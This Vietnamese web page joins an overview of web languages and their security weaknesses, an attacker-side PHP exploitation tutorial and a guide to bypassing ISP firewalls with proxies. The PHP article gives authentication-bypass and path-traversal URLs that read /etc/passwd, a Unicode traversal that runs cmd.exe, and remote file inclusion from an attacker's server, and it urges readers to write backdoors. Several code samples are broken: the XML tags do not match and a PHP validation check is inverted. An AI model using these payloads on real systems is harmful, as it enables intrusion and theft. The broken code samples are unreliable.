Trong thời điểm internet và các giao dịch, tương tác thông qua internet
phát triển rầm rộ như hiện nay, hàng loạt các ngôn ngữ và các giao thức
giao tiếp, thiết kế trang web cũng ra đời để phục vụ cho những mục đích
nhất định. Có thể kể đến nhiều ngôn ngữ đã phổ biến như HTML, DHTML, XML,
Java, Perl, PHP, ColdFuson, ASP.. mỗi loại có ưu và nhược điểm riêng.
Xét về tính đơn giản, gọn nhẹ thì HTML vẫn là lựa chọn đầu tiên. Tuy
nhiên, nếu trang web của bạn yêu cầu khả năng tương tác cao hơn; liên kết
và cập nhật dữ liệu động; thể hiện thông tin, đồ họa phức tạp, thì Java
hay PHP là lựa chọn thời thượng. Để phục vụ tốt cho mục đích phát triển
trang web cá nhân hay tổ chức, chúng ta sẽ đề cập sơ lược qua cách thức
hoạt động của một số ngôn ngữ và chuẩn web thông dụng, đồng thời phân tích
những yếu điểm của chúng liên quan đến vấn đề bảo mật nếu có từ đó có thể
chọn cho mình một ngôn ngữ thích hợp.
1. HTML (Hyper Text Markup Language) - Ngôn ngữ đánh dấu siêu văn bản
HTML được phát triển từ 1989 và được sử dụng rộng rãi cho đến nay để trình
bày các trang web dạng văn bản, hình ảnh, âm thanh và các dạng ảnh động.
Các chi tiết kĩ thuật của ngôn ngữ HTML hiện nay được bảo hộ bởi tổ chức
W3C (World Wide Web Consortium -
http://www.w3.org)/.
Một trang HTML là một tệp dữ liệu dạng text có phần mở rộng dạng .htm,
.html, .html4 - bao gồm tập hợp của những thành phần HTML (HTML element).
Những HTML element sẽ được web browser hiểu và hiển thị trên màn hình
thông tin tương ứng với element đó. Ở đây chúng ta chỉ phân tích về khía
cạnh bảo mật của các HTML element thông dụng.
<form> - Vùng chứa các đối tượng nhập thông tin của người dùng. Các thành
phần cho phép người dùng nhập thông tin là khởi đầu của các nguy cơ về bảo
mật. Ở các chương trình thiết kế không tốt, nếu thông tin nhận từ người
dùng không phù hợp định dạng hoặc không như mong muốn, chúng có thể tạo
nên những kết quả khó lường. Ví dụ một trang web trích thông tin của một
người dùng khi nhận tên đăng nhập và mật khẩu của người đó, bằng cách cung
cấp thông tin đặc biệt đánh lừa hệ thống, người dùng có thể trích thông
tin của tất cả các user khác.
<form action> - Thuộc tính Action. Ta dùng thuộc tính này để chỉ định một
trình thực thi trên web server cho đối tượng form. Ví dụ: <form action =
"/login.cgi"> ... Khi biết được tên chương trình, ta có thể tìm hiểu thêm
các thông tin có giá trị về web server, về thư mục hiện hành của chương
trình.
<form method> - Phương thức của form, định nghĩa cách thức dùng để gửi
thông tin người dùng nhập vào đến web server cho chương trình xử lý. Khi
hiểu được cách thức gửi thông tin (POST và GET), hacker có thể theo dõi và
bắt các thông tin đựơc gửi trên mạng, thậm chí có thể thay đổi chúng và
gửi đi với giá trị khác để tạo ra những kết quả khó lường.
<script language=<variable>>: Biến truyền vào là ngôn ngữ script phía
client, chẳng hạn như: javascript, vbscript, XML.. Khi thay đổi loại ngôn
ngữ, hacker có thể vượt qua các bộ lọc kiểm tra.
<input> - Edit control để nhập thông tin. Nếu ứng dụng web không xử lý tốt
các thông tin nhập vào, hacker có thể lợi dụng nhập vào các giá trị đặc
biệt đánh lừa hệ thống và tạo nên những kết quả không mong muốn. Những giá
trị username và password dùng trong kĩ thuật SQL Injection là ví dụ điển
hình.
<input type=hidden> - Kiểu đối tượng input. Một số trang web dùng đối
tượng input với thuộc tính hidden để chứa giá trị định trước như giá mua
hàng ở các trang shopping card. Lợi dụng đặc điểm này, hacker có thể thay
đổi giá trị này thành giá trị mong muốn và gửi đến web server. Ở các trang
web buôn bán, nếu không có những xử lý giá trị phía server, hacker có thể
mua được những món hàng với giá giảm đáng kể.
<input maxlength=<variable>>: Giá trị maxlength xác định chiều dài của giá
trị nhập vào đối tượng input. Hacker có thể thay đổi giá trị maxlength cho
phép nhập vào những giá trị hoặc chuỗi rất dài. Nếu chúng không được xử lý
thích hợp, chúng có thể gây nên những lỗi như tràn bộ đệm, thậm chí có thể
làm hỏng web server.
<input size=<variable>>: Tương tự như giá trị maxlength.
<applet> - Java applet. Thuộc tính này dùng để hiện và chạy thẻ java
applet. Java chạy và gửi thông tin thường dưới dạng plain text nên có thể
dùng các chương trình theo dõi gói tin để bắt các thông tin này. Java
byte-code có thể dịch ngược để xem mã nguồn.
<object> Thuộc tính này dùng để thể hiện các đối tượng ActiveX và Java
applet. Lợi dụng thuộc tính này, hacker có thể gửi email có nhúng HTML và
đánh lừa người dùng chạy các ActiveX control có thể đoạt quyền điều khiển
hệ thống. Đây cũng là một trong những cách tốt nhất người ta lợi dụng để
lan truyền virus trên mạng.
<embed> Thuộc tính này được dùng phối hợp với thẻ <object> để nhúng các
đối tượng ActiveX...
2. DHTML (Dynamic HTML)
DHTML là phiên bản mở rộng của HTML có phần mở rộng dạng .dhtml. Nó giúp
tăng cường tính tương tác của các đối tượng điều khiển trong trang HTML
tĩnh bằng cách cho phép người ta dùng các script vbscript hoặc javascript
điều khiển chúng. Ví dụ một thẻ image để nhúng ảnh vào trang web có thể
nhận biết khi nào người dùng di chuyển chuột trên nó bằng cách cài đặt hàm
xử lý sự kiện OnMouseOver, khi đó thông qua những xử lý thích hợp sẽ làm
đối tượng hình ảnh trở nên sống động hơn. Nhìn chung, bên cạnh những mở
rộng như tạo những hiệu ứng MouseOver, chuỗi chữ di chuyển động, thay đổi
màu sắc..., các khía cạnh bảo mật của DHTML tương tự như HTML vì nó dựa
trên nền tảng HTML. Tuy nhiên hiện nay các lập trình viên web ít chọn
DHTML vì có một số trình duyệt không hỗ trợ tốt cho nó, điển hình như
Netscape.
3. XML (Extensible Markup Language) - Ngôn ngữ đánh dấu mở rộng
Ngôn ngữ XML mới phát triển trong thời gian gần đây và có thể sẽ được phổ
biến rộng rãi trong tương lai, chẳng hạn như ở các ngôn ngữ .NET. Không
giới hạn và định nghĩa sẵn như HTML, XML cho phép người dùng tự định nghĩa
ra các thành phần riêng và mở rộng tuỳ ý. Tệp dữ liệu XML có phần mở rộng
dạng .xml.
Bộ phận quan trọng nhất trong ngôn ngữ XML là bảng định nghĩa DTD
(Document Type Definitions). DTD dùng để định nghĩa các thẻ mở và đóng của
một tệp XML, giúp người xem có một cái nhìn tổng quát về dữ liệu đang lưu
trữ.
Ví dụ ta cần định nghĩa cấu trúc dữ liệu Danh Sách Sinh Viên, ta tạo một
tệp DTD dssv.dtd như sau:
<!ELEMENT DSSV (SV*)>
<!ELEMENT SV(MASV, TEN, NS, LOP*)>
<!ELEMENT MASV(#PCDATA)>
<!ELEMENT TEN(#PCDATA)>
<!ELEMENT NS(#PCDATA)>
<!ELEMENT LOP(#PCDATA)>
Đây là ví dụ dữ liệu trong tệp XML:
<?xml version="1.0" ?>
<!DOCTYPE DSSV PUBLIC "." "dssv.dtd">
<DSSV>
<SV>
<MASV>95001</MASV>
<TEN>W_Hat</MASV>
<NS>19/11/1077</MASV>
<LOP>TH95</MASV>
</SV>
<SV>
.....
</SV>
</DSSV>
Dữ liệu trên thể hiện thông tin của một sinh viên với mã số, tên, ngày
sinh và lớp. Kí hiệu * nằm sau SV và LOP chỉ định dữ liệu có thể chứa
nhiều sinh viên, mỗi sinh viên có thể có nhiều lớp.
4. Perl (Pratical Extraction and Report Language)
Perl là ngôn ngữ lập trình cấp cao được phát triển từ năm 1987. Rất mạnh,
tiện dụng và đồng thời là ngôn ngữ được phổ biến miễn phí, hỗ trợ cho hầu
hết các hệ thống từ Winđowsx/NT/2k/XP, các phiên bản biến thể của Unix đến
hệ thống AS/400, MacOS, Novell NetwarePerl...Perl đã và đang được sử dụng
rộng rãi hiện nay trên internet.
Perl được dùng chủ yếu cho các xử lý phía server, tuy nhiên ta cũng có thể
dùng perl để viết các ứng dụng client, thậm chí có thể tạo nên ứng dụng
chạy độc lập để thực hiện một tác vụ tính toán nào đó.
Trên web server, perl thường được thực thi với CGI tạo nên cơ chế xuất
thông tin ra trình duyệt web. Hãy xem ví dụ dùng perl để xử lý các thông
tin nhập vào từ người dùng trong đoạn html dưới đây:
<form method=POST action="/admin/login.pl"></form>
<html>
Username:
<input value="" size=80 maxlength=80 name="username">
Password:
<input value="" size=80 maxlength=80 name="password">
<input type=submit value="Login">
</html>
Sau khi người dùng nhập tên, mật khẩu và nhấn nút Login những thông tin
này sẽ được gửi đến chương trình perl có tên login.pl nằm ở thư mục
/admin/ trên web server. Chương trình login.pl sau khi xử lý sẽ gửi kết
quả ngược về web client.
Khi sử dụng perl để thực hiện các xử lý phía server, ta cần lưu ý một số
điểm quan trọng sau có khả năng gây nên những nguy cơ về bảo mật nghiêm
trọng:
a - Tránh thực thi các web server dưới quyền quản trị (root trong Unix và
adminitrator trong Windows). Khi các script ở web server được chạy có
quyền quản trị sẽ rất nguy hiểm nếu ai đó dùng nó để thực hiện các lệnh
điều khiển hệ thống. Các bạn có thể thấy script cgi-telnet là một ví dụ cụ
thể.
b - Luôn thực hiện tiền xử lý các thông tin người dùng nhập vào, như các
giá trị tên người dùng, mật khẩu, giá cả...Tạo một chuỗi các kí tự hợp lệ
tương ứng với thông tin cần nhập và lọc ra những kí tự được nhập không
chính xác. Chẳng hạn với tên và mật khẩu người dùng, ta có thể giới hạn ở
các kí tự hợp lệ sau: "0..9", "a..z", "A..Z"; không cho phép hoặc lọc bỏ
các kí tự đặc biệt như: "/\+)({}[]'-_=.|" ... Một ví dụ khác về việc dùng
perl thực hiện tiền xử lý với email người dùng, với yêu cầu email phải có
kí hiệu @ và dấu chấm "." ở ít nhất là phần sau dấu @:
if ($email !~ /^[\w-]+\@[\w.-]+$/)
{
print "<br>#Error in your email. Please re-enter<br>";
}else
{
# thực hiện xử lý đối với thông tin email hợp lệ;
}
c - Hạn chế không cho phép thực thi các lệnh hệ thống (shell command) như
open(), fork(), system(), exec() hoặc cho thực hiện sau khi đã kiểm tra
chặt chẽ các tham số truyền vào. Ở các hệ thống bảo vệ lỏng lẻo, hacker có
thể lợi dụng truyền các tham số không thích hợp vào các hàm trên để thực
hiện các lệnh xem thông tin và điều khiển hệ thống.
d - Trên các hệ thống Unix, cần thiết lập các thông số $PATH và $IFS bằng
các giá trị chính xác cụ thể, tránh dùng các biến môi trường.
Ví dụ ta đặt như sau:
$ENV{"PATH"}="/bin:/usr/bin:/opt";
$ENV{"IFS"}="/";
Việc chỉ định không rõ ràng các thông tin trên có thể tạo điều kiện cho
hacker sửa đổi chúng và bắt các chương trình của chúng ta phải thực thi
một chương trình nguy hiểm nào đó ở nơi khác thay vì tại vị trí ta mong
muốn.
e - Kiểm tra kích thước và chiều dài của các thông tin người dùng nhập vào
hoặc dùng biến $ENV{CONTENT_LENGTH} để hạn chế chiều dài của chuỗi dữ liệu
cho các yêu cầu GET/POST. Nếu không được kiểm tra chính xác, hacker có thể
gửi đi một lượng dữ liệu có giá trị rất lớn hoặc rất dài có thể gây nên
các lỗi tràn bộ đệm, hỏng web server và thậm chí tìm được các điều kiện
phát sinh lỗi tràn bộ đệm và thực thi các lệnh nguy hiểm từ xa.
f - Tránh cho phép chỉ định đường dẫn cụ thể ở các trường dữ liệu hoặc ở
các tham số truyền vào các chương trình. Chỉ nên cho phép các đường dẫn
mang tính tương đối, cắt bỏ các giá trị có dạng dot dot ".." hoặc slash
"/\". Ở rất nhiều chương trình web không kiểm tra đúng đã cho phép người
dùng nhập các tham số ví dụ như /../../../../etc/passwd (Unix) hoặc
/../../../winnt/repair/sam._ (NT/2k) và dễ dàng lấy được các thông tin về
mật khẩu.
g - Sử dụng khả năng taint checking của perl để theo dõi và kiểm tra giá
trị của các biến.
h - Các chương trình perl được lưu trữ dưới dạng text đơn giản do đó có
thể dễ dàng bị xem mã nguồn và lấy các thông tin có giá trị khác tên, mật
khẩu truy cập cơ sở dữ liệu...nếu hacker đoạt được quyền điều khiển hệ
thống hoặc có quyền xem hệ thống file. Ta có thể dùng một số chương trình
ví dụ như perl2exe cho phép chuyển đổi các tệp perl dạng text sang dạng
chương trình thực thi .exe, như vậy có thể tránh được việc bị xem mã nguồn
và không còn cần trình thông dịch perl khi chạy.
5. PHP (Personal Home Page)
Được phát triển từ năm 1995 và dần được bổ sung qua một số phiên bản, cho
đến nay PHP trở thành một trong những ngôn ngữ script phía server phổ biến
nhất bên cạnh Perl và ASP (Active Server Pages). Tương tự như Perl, PHP có
dạng cú pháp, câu lệnh đơn giản, dễ hiểu - đặc biệt thích hợp với các lập
trình viên có hiểu biết về ngôn ngữ C/C++ - đồng thời có ưu điểm là thực
thi rất nhanh và có thể chạy ở máy client hoặc như một ứng dụng độc lập.
Hiện nay người ta thường dùng PHP để thực hiện các tác vụ xử lý phía
server ở các web server trên nền Unix, điển hình như Apache. Các chương
trình PHP thường có phần mở rộng là .php, .php3, .php4; mã PHP cũng có thể
nhúng vào một trang HTML. Hãy xem ví dụ sau thực hiện in lên trình duyệt
một chuỗi kí tự:
<!-- PHP Example in HTML
<html>
<?php
echo "<br>Hello World!<br>";
?>
</html>
Chú ý thẻ <? và ?> dùng để đánh dấu nơi bắt đầu và kết thúc mã PHP.
Cho đến nay, những điểm yếu của PHP được phát hiện tương tự như ở ngôn ngữ
Perl. Đặc biệt khi sử dụng PHP để nhận các thông tin nhập từ người dùng
thông qua trình duyệt và xử lý cơ sở dữ liệu bên dưới; hoặc thực thi các
lệnh hệ thống như system(), shellexec(), exec(), passthru()...ta cần chú ý
thực hiện việc kiểm tra và lọc những dữ liệu truyền vào không hợp lệ để
tránh trường hợp người dùng nhập dữ liệu sai, đánh lừa hệ thống sinh ra
những kết quả không mong muốn, thậm chí thực thi các lệnh từ xa.
Ví dụ sau thực hiện việc kiểm tra đơn giản trên chuỗi $value có kiểu số,
dùng hàm định nghĩa sẵn preg_match():
if (preg_match("/^[0-9]+$/i", $value))
echo "Invalid number!\n";
return 1;
break;
Các bạn tham khảo thêm các thông tin về PHP tại
http://www.php.net/
6. ColdFusion
ColdFusion (CF) là hệ thống phát triển ứng dụng web của công ty Allaire
(http://www.allaire.com) với phiên bản mới nhất hiện nay là 5.0. CF có 3
thành phần chính bao gồm: Application Server, Markup Language và Studio.
Chúng ta sẽ tìm hiểu sơ lược qua từng thành phần này.
Application Server (Máy chủ ứng dụng) - Đây là thành phần chính của
ColdFusion có thể chạy trên các nền Windows và Unix. Application Server
chạy trên web server và xử lý các yêu cầu từ các trang mã ColdFusion.
Markup Languge (CFML) - Là ngôn ngữ web phía server được phát triển tuân
theo quy ước HTML bao gồm các thẻ và thuộc tính của thẻ. CFML được dùng
kết hợp với Application Server tạo nên các các ứng dụng web như các
shopping card, quản lý tài khoản ngân hàng trực tuyến...Chương trình
ColdFusion có phần mở rộng bắt buộc là .CFM.
Tương tự như Perl và PHP, các tệp CFM được lưu trữ ngầm định dưới dạng
text đơn giản do đó chúng có thể dễ dàng bị xem mã nguồn dẫn đến lộ những
thông tin quan trọng. Về mặt cấu trúc CFM giống như HTML ở chổ dùng các
thẻ tag để thực hiện hầu hết các tác vụ chẳng hạn như kết nối cơ sở dữ
liệu, hỗ trợ POP (Post Office Protocol) và SMTP (Simple Mail Transfer
Protocol), COM (Component Object Model). Ngoài ra, có rất nhiều
third-party add-ons được viết ra để tăng cường các tính năng của
ColdFusion, tuy nhiên chúng thường không được cung cấp miễn phí.
Ví dụ sau dùng CFM để mô tả một câu lệnh rút trích dữ liệu:
<CFQUERY DATASOURCE="QLSV" NAME="SV">
SELECT MaSV, NameSV, BD
FROM DSSV WHERE MaSV = #URL.MaSV#
</CFQUERY>
Thuộc tính DATASOURCE của thẻ <CFQUERY> xác định một ODBC data source
(nguồn dữ liệu). Thuộc tính NAME được dùng sau này khi cần trình bày kết
quả lên browser.
Khi thực hiện trên browser, URL có dạng như sau:
http://www.anysite.com/cfm/getdata.cfm?MaSV=TH001
Như
vậy, nếu các tham số truyền vào không được kiểm tra và lọc tốt, người dùng
có thể truyền vào các giá trị không chuẩn làm thay đổi điều kiện của câu
lệnh SELECT, dẫn đến việc họ có thể lấy được toàn bộ dữ liệu của các sinh
viên khác.
Để trình bày kết quả của câu lệnh SELECT trên, hãy tham đoạn mã sau:
<HEAD>Thong Tin Sinh Vien</HEAD>
<CFOUTPUT QUERY="SV">
<LI>#NameSV#, #BD#, (#MaSV#)</LI><BR>
</CFOUTPUT>
Studio - Cung cấp một môi trường cho người dùng phát triển các ứng dụng
web.
Cho đến nay, có 2 vấn đề bảo mật thường gặp với CFM là việc lọc không tốt
các tham số truyền vào và cung cấp sẵn nhiều script ví dụ (như
openfile.cfm, exprcalc.cfm) mà hacker có thể lợi dụng để dùng cho mục đích
của mình như upload file, xem nội dung file, điều khiển các dịch vụ web
hoặc thậm chí thực thi các lệnh nguy hiểm khác.
Giải pháp đơn giản để giảm nguy cơ bị tấn công là xóa bỏ các script cung
cấp sẵn không cần thiết hoặc cập nhật các bản sửa lỗi cho các script và
lọc kĩ các giá trị truyền vào.
7. ASP (Active Server Pages)
ASP là môi trường ngôn ngữ script phía server của Microsoft phát triển chủ
yếu phục vụ cho các web server IIS (Internet Information Server). ASP có
thể được dùng kết hợp với HTML, mã script và các thành phần ActiveX phía
server tạo nên các trang thông tin có nội dung động; thực thi các lệnh hệ
thống, kết nối cơ sở dữ liệu, COM...
Ngôn ngữ ngầm định dùng cho ASP là VBScript, đây là phiên bản script của
ngôn ngữ Visual Basic quen thuộc. Tương tự một số ngôn ngữ script khác, có
2 dạng VBScript dùng cho ASP. Với script phía server, ta đặt mã lệnh trong
thẻ <%@ và %>; phía client, ta dùng thẻ HTML <script>
Trở
về đầu trang
Lỗi bảo mật
của PHP
Chào các bạn , hẳn
các bạn biết đến ngôn ngữ lập trinh php qua nhưng site đối thoại với nhưng
người dùng . php là 1 ngôn ngữ mạnh nó giup tiết kiệm dung lượng file và
làm cho quá trinh duyệt trở nên nhanh hơn . Ngôn nhữ PHP là 1 ngôn ngữ
mạnh viết cho mạng , nó có thể execute nhưng ra lệnh của người sử dụng để
đem đén cho người dùng 1 hiệu quả làm việc nhanh nhất .
Ngôn ngữ PHP phục vụ cho mạng có nhưng đặc tính sau :
Phiên Dịch
Thực hiện nhanh - không có fork() , hoặc khi cài đặt php không có gì khó
khăn Giàu đặc tính - Có nhưng điều không bình thờng trong hàm "builtin" Có
cú Pháp đơn giản - Chú ý đến hàm wordy .
Qua đây tôi sẽ có gắng giải thích về sự bảo mật và tấn công khi ta thêm
nhưng ký tự vao nhưng file PHP thông qua 2 đặc tính cuối cùng .
những cảnh báo và phạm vi
Ta có thể cài đặt PHP 4.0.4pl1 (voi MySQL, PostgreSQL, IMAP va OpenSSL
support enabled) chạy như 1 modun dưới Apache 1.3.19 trên 1 máy Linux
những biến trong PHP không phải được khai báo , chúng tự động được tạ ra
lần đầu khi chúng sử dụng . Đây là 1 đặc tính hữu ích rõ ràng trong một
ngôn ngữ phát triển nhanh ứng dụng .
Khai Thác :
Ok ! Chúng ta bắt đầu khai thác những vấn đề bảo mật trong PHP .
Ví dụ ta có 1 HTML snippet :
<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello" size="20">
<INPUT TYPE="SUBMIT">
</FORM>
Cái này rõ ràng trình bày 1 hộp văn bản và 1 nút bấm . Khi nào ngờ dùng
nhấn sumit thì file test.php sẽ được chạy để xử lý đầu vào . Khi nó chạy
biến chứa trong hộp văn bản sẽ được ghi vào . Chính nhờ vào điều này mà
những người muốn tấn công hệ thống từ xa có thể tạo ra bất kỳ biến nào mà
chúng muốn và nó được khai báo trong global namespasce . Nếu thay vào đó
việc sử dụng mẫu để ở trên để gọi test.php , một Hacker gọi nó trực tiếp
với 1 URL :
"http://server/test.php?hello=hi&setup=no" nó sẽ được thực thi với nhưng
biến mới .
Một Ví dụ trong việc dùng file test.php dùng để đăng nhập mật khẩu :
<?php
if ($pass = "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>
Trong thao tác bình thường ở trên mã sẽ kiểm tra mật khẩu để quyết định
phải chăng người dùng từ xa đã thành công trong việc đăng nhập . Nhưng bạn
hãy nhớ ràng 1 Hacker có thể tạo ra nhưng biến trong global namespace .
Với 1 url ta có thể vượt qua được sự kiểm ra password :
http://server/test.php?auth=1
Bạn sẽ có quyền vào những nơi mà không có quyền vào .
Chúng ta hãy quan tâm tìm hiểu về những mảng như : HTTP_GET/POST_VARS[]
;HTTP_GET_VARS ; HTTP_POST_VARS ; HTTP_COOKIE_VARS ; HTTP_POST_FILES ;
HTTP_POST_FILES ,
Thật sự tôi không thể giải thích cho các bạn những thẻ trên có tác dụng gì
cho Hacker . Mình xin trả lời , Bạn có thể tìm kiếm thông tin như cookie ,
có khả năng xử lý file , nếu như bạn có thể đưa ra những biến thích hợp .
Remote File (Điều khiển file từ xa)
Bạn hãy xem đoạn mã sau :
<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename
\n");
?>
Đây là code dùng để cho phép đọc 1 file , và thông báo lỗi khi không có
file . Cái này nói lên rằng ta có thể đọc file password /ect/passwd nếu
thông qua 1 Script
Ta có thể ví dụ :
"http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"
PHP sẽ ra lệnh cho 1 HTTP request tới server và cố gắng khai thác sự bất
thường trong Unicode .
Chính nhờ sự hỗ trợ của các hàm include(),
require(), include_once() and require_once(). sẽ giúp chúng ta thực hiện
được nhưng Script . thông qua Url
Bạn hãy xem đoạn code sau :
<?php
include($libdir . "/languages.php");
?>
Trong đó file languages.php có nội dung sau :
<?php
passthru("/bin/ls /etc");
?>
Vậy khi $libdir được gửi tới http:/// ( một webserver ) thì PHP sẽ ra lệnh
cho 1 HTTP request tới /ect và trả lại 1 danh sách của /etc tới browser
của người dùng . Chính vì đó mà Hacker có toàn bộ thông tin trong server
nếu họ muốn .
File Upload
Trong khi ngôn ngữ PHP chưa cung cấp đủ cho nhưng Hacker để làm cho cuộc
sống dễ chịu hơn , thì ngôn ngữ hỗ trợ cho RFC 1876 đặt cơ sở làm cho việc
upload file dễ dàng hơn .
Bạn hãy xem đoạn code sau :
<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello" size="20">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>
Mẫu dạng này sẽ cho phép người dùng browser tự lựa chọn nhưng file trên
máy tính của mình rồi upload tới người phục vụ mạng từ xa . Rõ ràng đây là
một cách upload tốt nhưng sự đáp lại của PHPs chính là tiềm tàng nguy hiểm
. ở mẫu trên khi ta upload file thì PHP bắt đầu phân tích nội dung file
upload , thẻ $MAX_FILE_SIZE quy định chỉ những file có dung lượng tối đưa
là 10240 b mới được phép upload . Sau khi qua sự kiểm tra của PHP nó sẽ
cho phép ghi lên ổ cứng vào 1 vùng tạm thời .
Các bạn hãy xem mẫu ví dụ sau :
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g
"c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")
người tấn công có thể gọi trực tiếp ra trên Browser :
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/
plain&hello_name=hello.txt
Hoặc xem code sau :
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"
He he .... Tất cả nội dụng của những bí mật sẽ được phơi bày qua những thẻ
upload như thế này .
Tuy nhiên ở những phiên bản mới hơn của PHP có đưa ra phương pháp hữu hiệu
trong việc quản lý file và dò xét file upload . Họ đưa ra mảng
HTTP_POST_FILES[]
Nhưng có rất nhiều webserver vẫn sử dụng những phiên bản cũ .
Trong khi xem xét kẽ tấn thông qua chỗ upload hãy xem mã PHP sau :
<?php if (file_exists($theme)) // Checks the file exists on the local
system (no remote files) include("$theme"); ?>
Nếu người tấn công có thể điều khiển $theme thì họ có thể đọc được toàn bộ
nội dung trong hệ thống , thậm chí họ có thể thực thi các file trên hệ
thống .
Vì vậy người tấn công bắt buộc phải có những mã PHP này để tạo ra những
biến mới để đưa vào trong PHP nguyên bản . Và rồi sự kiểm tra của
file_exist sẽ được thông qua và mã sẽ được chạy .
Còn 1 số phần bảo mật trong PHP nữa nhưng nó cũng không quan trọng . nếu
các bạn có thời gian thì nên xem
Library Files .
Tôi viết bài này dành cho những người lập trình PHP (nếu bạn không biết về
ngôn ngữ PHP đành chịu)
Bạn hãy viết những con Backdoor cho hệ thống Linux nếu bạn muốn . Giống
như con remview thì tuyệt đấy chứ .
Trở về đầu trang
Firewall và cách vượt
Firewal
Có nhiều khi các quí ông quí bà ở Việt Nam muốn chui vào một trang web
nhạy cảm nào đó để...nghiên cứu cho biết thì ôi thôi, một cái thông báo
đang ghét hiện ra với yêu cầu bạn hãy nhập mật khẩu, đó chính là bức tuờng
lửa đã được nhà cung cấp dịch vụ dựng lên nhằm ngăn cấm người sử dung truy
cập vào site nào đó. TRong bài viết nay tôi sẽ giới thiệu cho các bạn về
cách vượt bức tường lửa một cách dễ dàng bằng việc sử dụng proxy. Vậy
proxy là gi? Nói một cách dễ hiểu đó chính là bộ đệm giúp bạn khi truy cập
vào một trang web sẽ đánh lừa được bức tường lửa do ISP dựng lên.
Có 3 cach de vuot tuong lửa mà hôm nay tôi sẽ giới thiệu với các bạn:
+thu nhat:muon truy cap toi 1 dia chi ma bi firewall chan lai (vi du
www.geocities.com) ban hay danh nhu sau :
http://www.hideip.com/proxy/www.geocities.com
ro rang la chung ta di qua 1 web trung gian la hideip .no lam viec nhu
sau:khi anh em gui yeu cau toi server cua hideip thi website se gui tra
loi toi server nay va gui thong tin ve website do toi server cua isp cua
ban nhung da thay doi thong tin ve website nhu vay thuc chat da danh lua
duoc isp.
Nhung chung ta cung phai de cap toi van de xay ra la co the cac nha cung
cap dich vu se biet website cua hideip nen ho se chan chinh website nay
bang firewall.vi the chung ta hay xet cach thu 2:
+thu 2:cach nay tuong doi phuc tap va khong phai luc nao cung dat duoc.gia
sử các bạn biet duoc dia chi cua cac proxy mien phi toi gi ma chung ta
khong dung no de vuot tuong lua!van de o day chac anh em da hieu roi:nghia
la chung ta se gui thong tin yeu cau qua cac server do, luc nay cac isp se
hoan toan khong biet gi ve các bạn ,o dau den va di ve dau.
Tro lai vi du tren các bạn muon truy cap den www.geocities.com anh em hay
danh vao
http://proxya:port/proxyB:port/http://www.geocities.com
Khi ca 2 cach tren deu khong duoc ta se xet them cach thu 3
+thu 3:cach nay lai rat de va dam bao 110% thanh cong!hehehe!!!!1nhung xin
bao truoc no se lam giam toc do duyet web cua bạn day!cho nen neu duong
truyen cua anh em ma cham thi dung nen ap dung cach nay truoc het hay dow
chuong trinh anonymity 4 proxy cau hang iNetPrivacy(www.inetprivacy.com)
chuong trinh nay se lam mot proxy ao tren may cua anh em va luc nay anh em
cu yen tam ma vao bat cu trang web nao ma khong gap tro ngai nao!
Sau đây là một ví dụ, bạn hay vào trang web dưới đây, http://www.chasoft.now.nu/
sau đó bạn có thể vào được bất ky trang web nào minh muốn mà không bi
tường lửa quáy rầy nữa. Tôi cung se giới thiệu cho bạn môt số proxy miễn
phí và bạn co thể dung nó đê truy cp vao những trang bạn muốn ma không hề
sợ fire wall nữa. Chuc bạn thành công nhớ đừng vào những trang web không
lành mạnh nhé hihii
Trở về đầu trang
|